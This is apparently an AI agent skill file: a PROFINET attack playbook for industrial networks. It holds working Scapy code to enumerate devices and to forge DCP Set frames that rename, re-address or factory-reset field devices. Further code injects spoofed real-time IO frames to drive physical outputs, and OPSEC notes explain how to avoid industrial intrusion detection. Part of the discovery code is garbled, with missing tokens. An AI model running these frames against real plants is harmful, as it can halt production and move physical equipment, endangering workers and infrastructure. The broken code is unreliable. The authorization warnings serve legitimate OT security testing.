| name | profinet |
| description | PROFINET (L2 EtherType 0x8892 / DCP) attack playbook — DCP Identify-All broadcast enumeration, device fingerprinting, station-name and IP reassignment (breaks IO-controller mapping), flash-LED physical location, factory-reset, RT frame injection/replay for cyclic-IO spoofing. Siemens/EU fieldbus peer of S7Comm; requires same L2 broadcast domain. |
| allowed-tools | Bash Read Write |
| metadata | {"when_to_use":"profinet profinet-rt dcp 0x8892 34962 34963 34964 siemens fieldbus pnio discovery device-name station-name reassign flash-led factory-reset","subdomain":"ics-ot","tags":"profinet, dcp, siemens, ics, ot, fieldbus","mitre_attack":"T0842, T0846, T0814, T0816"} |
PROFINET Attack Playbook (EtherType 0x8892 / DCP)
PROFINET is the dominant European/Siemens fieldbus for deterministic real-time process automation — deployed in Siemens SIMATIC PLC networks, Beckhoff TwinCAT, Phoenix Contact, and virtually all post-2005 EU manufacturing. Unlike Modbus or EtherNet/IP, PROFINET RT operates at Layer 2 (EtherType 0x8892) — there is no IP header, no routing, and no firewall coverage at the IP layer. The attacker must be on the same Ethernet broadcast domain (OT L2 segment, or have a SPAN/TAP into it). DCP (Discovery and basic Configuration Protocol) provides unauthenticated device enumeration, naming, IP assignment, and factory-reset — all without credentials.
SAFETY FIRST
DCP Set commands (station-name reassignment, IP change, factory-reset) immediately disrupt the IO-controller ↔ IO-device association. When an IO-device loses its expected station name, the PROFINET IO controller goes to BF (Bus Fault) state and the process typically enters a safe/halt state or continues with the last-known values depending on watchdog configuration. This is a process-disruption event. Confirm written scope authorization before any DCP Set or RT frame injection. DCP Identify (read) is safe.
Prerequisites
- Physical or logical access to the OT L2 segment (direct port, rogue switch, SPAN, compromised HMI/engineering workstation on the same VLAN).
- Wireshark with
pn_dcp dissector (ships by default — filter: pn_dcp).
- Python with
scapy for DCP crafting (or python-profinet library).
sudo tcpdump -i eth0 ether proto 0x8892 -c 20
pip install scapy
pip install profinet
Phase 1 — Discover: DCP Identify-All broadcast
DCP Identify-All is a Layer-2 broadcast to 01:0E:CF:00:00:00 (PROFINET multicast). All devices on the segment reply with their station name, IP, MAC, device type, vendor, order number, firmware.
Wireshark passive discovery
sudo wireshark -i eth0 -f "ether proto 0x8892" -k
Active DCP Identify-All broadcast (Scapy)
from scapy.all import Ether, sendp, sniff
import struct, socket, time
PROFINET_ETHERTYPE = 0x8892
DCP_MULTICAST_MAC = "01:0e:cf:00:00:00"
IFACE = "eth0"
def build_dcp_identify_all(xid=1):
"""Build a PROFINET DCP Identify-All request frame."""
frame_id = struct.pack(">H", 0xFEFE)
dcp_header = struct.pack(">BBHHHH",
0x05,
0x00,
xid,
0x0000,
0x0000,
0x0004,
)
dcp_block = struct.pack(">BBH", 0xFF, 0xFF, 0x0000)
payload = frame_id + dcp_header + dcp_block
frame = Ether(dst=DCP_MULTICAST_MAC, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload
return frame
def dcp_identify_all(iface=IFACE, timeout=3):
frame = build_dcp_identify_all()
sendp(frame, iface=iface, verbose=)
()
responses = sniff(
iface=iface,
=,
timeout=timeout,
count=,
)
devices = []
pkt responses:
raw = (pkt.payload)
frame_id = struct.unpack(, raw[:])[]
frame_id == (raw) > :
src_mac = pkt.src
devices.append({: src_mac, : (raw)})
()
devices
dcp_identify_all()
Using Siemens STEP 7 / TIA Portal (if available on compromised engineering workstation)
TIA Portal's "Accessible Devices" scan (Menu → Online → Accessible Devices) runs DCP Identify-All automatically and displays a parsed device table — vendor, order number, station name, IP, MAC. This is the fastest enumeration method from a compromised EWS.
Phase 2 — Device fingerprinting: DCP Get
DCP Get retrieves specific blocks from a unicast target (by MAC address or station name). Returns: vendor ID, order ID, firmware version, device role (IO-Device / IO-Controller / IO-Supervisor).
from scapy.all import Ether, sendp, sniff
import struct
PROFINET_ETHERTYPE = 0x8892
IFACE = "eth0"
def build_dcp_get(dst_mac, xid=2, option=0x01, suboption=0x01):
"""
DCP Get Request for a specific block.
option 0x01 suboption 0x01 = NameOfStation
option 0x01 suboption 0x02 = IPSuite (IP address, subnet, gateway)
option 0x02 suboption 0x01 = ManufacturerSpecific (VendorID, DeviceID)
option 0x02 suboption 0x05 = DeviceOptions
"""
frame_id = struct.pack(">H", 0xFEFD)
dcp_header = struct.pack(">BBHHHH",
0x03,
0x00,
xid,
0x0000,
0x0000,
0x0004,
)
dcp_block = struct.pack(">BBH", option, suboption, 0x0000)
payload = frame_id + dcp_header + dcp_block
return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload
Phase 3 — Flash-LED (physical device location)
DCP Set with Suboption=Signal causes a device to blink its front-panel LED for ~3 seconds — useful for physically locating a specific device on a production floor. Read-safe; does not disrupt the process.
def build_dcp_flash_led(dst_mac, xid=10):
"""DCP Set Signal — blink device LED (physical locate)."""
frame_id = struct.pack(">H", 0xFEFD)
dcp_block = struct.pack(">BBHHh", 0x05, 0x03, 0x0004, 0x0000, 0x0100)
dcp_data_len = len(dcp_block)
dcp_header = struct.pack(">BBHHHH",
0x04,
0x00,
xid,
0x0000,
0x0000,
dcp_data_len,
)
payload = frame_id + dcp_header + dcp_block
return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload
Phase 4 — DCP Set attacks (SAFETY GATE — write-class authorization required)
STOP. All DCP Set operations below are write-class and require explicit scope authorization.
Station-name change and IP change immediately disrupt process communication.
Station-name reassignment (process disruption)
When a PROFINET IO-device's station name is changed, the IO-controller can no longer address it — the channel goes to BF (Bus Fault). The IO-controller will either go into safe state or continue with last values per watchdog config. This is a process-disruption attack.
def build_dcp_set_station_name(dst_mac, new_name, xid=20):
"""
DCP Set NameOfStation.
Option=0x01, Suboption=0x01 (NameOfStation).
new_name: bytes (PROFINET station names are ASCII, lowercase, max 240 chars)
"""
name_bytes = new_name.encode("ascii").lower()
if len(name_bytes) % 2:
name_bytes += b"\x00"
block_len = len(name_bytes)
dcp_block = struct.pack(">BBH", 0x01, 0x01, block_len + 2) + struct.pack(">H", 0x0001) + name_bytes
total_len = len(dcp_block)
dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)
frame_id = struct.pack(">H", 0xFEFD)
payload = frame_id + dcp_header + dcp_block
return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload
IP address reassignment
import ipaddress
def build_dcp_set_ip(dst_mac, new_ip, new_subnet, new_gateway, xid=21):
"""
DCP Set IPSuite.
Option=0x01, Suboption=0x02.
"""
ip_int = int(ipaddress.IPv4Address(new_ip))
sub_int = int(ipaddress.IPv4Address(new_subnet))
gw_int = int(ipaddress.IPv4Address(new_gateway))
dcp_block = struct.pack(">BBH", 0x01, 0x02, 14) + \
struct.pack(">H", 0x0001) + \
struct.pack(">III", ip_int, sub_int, gw_int)
total_len = len(dcp_block)
frame_id = struct.pack(">H", 0xFEFD)
dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)
payload = frame_id + dcp_header + dcp_block
return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload
Factory reset
Factory reset erases station name and IP — the device reverts to DHCP or link-local addressing and requires re-commissioning from an engineering workstation. Highly disruptive in production.
def build_dcp_factory_reset(dst_mac, xid=30):
"""
DCP Set Control/FactoryReset.
Option=0x05, Suboption=0x04.
"""
dcp_block = struct.pack(">BBH", 0x05, 0x04, 0x0002) + struct.pack(">H", 0x0000)
total_len = len(dcp_block)
frame_id = struct.pack(">H", 0xFEFD)
dcp_header = struct.pack(">BBHHHH", 0x04, 0x00, xid, 0x0000, 0x0000, total_len)
payload = frame_id + dcp_header + dcp_block
return Ether(dst=dst_mac, src="00:11:22:33:44:55", type=PROFINET_ETHERTYPE) / payload
Phase 5 — PROFINET RT frame injection / cyclic IO spoofing
PROFINET RT cyclic IO frames (FrameID 0x8000-0xBFFF) carry real-time process data between IO-controller and IO-devices at 1–128 ms intervals. There is no authentication or integrity protection on RT frames. An attacker on the segment can inject or replay spoofed IO data frames.
sudo tcpdump -i eth0 -w /tmp/profinet_rt.pcap ether proto 0x8892 and ether host aa:bb:cc:dd:ee:ff
from scapy.all import Ether, sendp
import struct, time
def inject_profinet_rt(dst_mac, src_mac, frame_id, cycle_counter, io_data, iface="eth0"):
"""
Inject a PROFINET RT cyclic data frame.
frame_id: FrameID for the target device (from captured traffic, 0x8000-0xBFFF)
cycle_counter: Increment to match expected sequence (replay detection hint)
io_data: bytes — the cyclic process data payload (output values for the IO-device)
"""
rt_header = struct.pack(">H", frame_id)
rt_footer = struct.pack(">HBB", cycle_counter, 0x35, 0x00)
payload = rt_header + io_data + rt_footer
frame = Ether(dst=dst_mac, src=src_mac, type=0x8892) / payload
sendp(frame, iface=iface, verbose=False)
Frame injection against a live IO-device causes it to accept the injected output values for that cycle. In the absence of authentication, the device cannot distinguish legitimate controller frames from injected ones. Effect: output modules (digital/analog outputs) actuate per the injected data.
Common findings
| Finding | MITRE | Impact |
|---|
| DCP Identify-All reveals all device identities unauthenticated | T0846 | Full OT asset inventory leak; reveals vendor/firmware/station names |
| DCP Set — station name reassignment accepted | T0816 | Process disruption: IO controller loses device, production halt |
| DCP Set — factory reset accepted | T0816 | Device re-commissioning required; extended downtime |
| PROFINET RT — no frame authentication | T0836 | Cyclic IO data spoofing; physical actuator manipulation |
| Flat IT/OT L2 (office and OT on same VLAN) | T0814 | Attacker can reach PROFINET segment from corporate LAN |
| Siemens S7 + PROFINET co-located (common) | T0842 | Chain DCP enumeration → S7Comm exploitation (cross-ref s7comm skill) |
Evidence
kg_add_node(
kind="finding",
label="PROFINET DCP unauthenticated device enumeration",
props={
"key": f"profinet-dcp::{iface}",
"protocol": "profinet-dcp",
"ethertype": "0x8892",
"devices_found": device_count,
"station_names": station_names_list,
"dcp_set_accepted": False,
"source": "scapy-dcp-identify-all",
"l2_segment": iface,
},
)
ZFP (two-method evidence)
- Wireshark capture (
.pcap) containing DCP Identify responses, showing at least one device with decoded NameOfStation, IPSuite, and VendorID blocks.
- Parsed output table showing MAC → station-name → IP → device-type → firmware for each discovered device.
If write testing was authorized: include DCP Set response frame showing BlockError=0x00 (Set accepted) and a follow-up DCP Get confirming the new station name or IP.
OPSEC notes
- DCP Identify-All generates a broadcast storm on large PROFINET segments — each device responds individually within a random delay (0–3s). On segments with 100+ devices, the burst may be visible in switch port statistics.
- DCP Get (unicast) is nearly silent. Prefer unicast Gets after initial identify for lower noise.
- Siemens Sinema Remote Connect and Scalance switches can log DCP traffic and alert on unexpected Set commands. Industrial NIDS (Claroty, Nozomi, Dragos) signature-detect DCP Set events.
- Name/IP reassignment takes effect immediately. There is no "preview" or rollback — if you change a station name in production, you must know the original name to restore it via DCP Set.
- PROFINET RT injection requires matching the CycleCounter and DataLength of the legitimate controller to avoid triggering
DataStatus watchdog alarms on the IO-device.
- Always record original station names and IPs before any DCP Set — document them in evidence for restoration.
- Cross-reference
s7comm skill: Siemens PLCs typically run both S7Comm (TCP 102) and PROFINET on the same device. DCP gives you identity and disruption primitives; S7Comm gives you program-level read/write.
References
- PROFINET Specification (IEC 61158-5-10, IEC 61784-2) — profibus.com/technology/profinet/
- Wireshark
pn_dcp and pn_rt dissectors — Wireshark PROFINET protocol documentation
- Siemens Security Bulletins (SSA-*) — cert.siemens.com
- ICS-CERT PROFINET advisories — cisa.gov/uscert/ics/advisories
- "Hacking PROFINET" — Alexander Bolshev, Black Hat 2013
- Scapy Layer 2 documentation — scapy.readthedocs.io
- python-profinet library — github.com/wandel/python-profinet
- Claroty PROFINET research briefs — claroty.com/research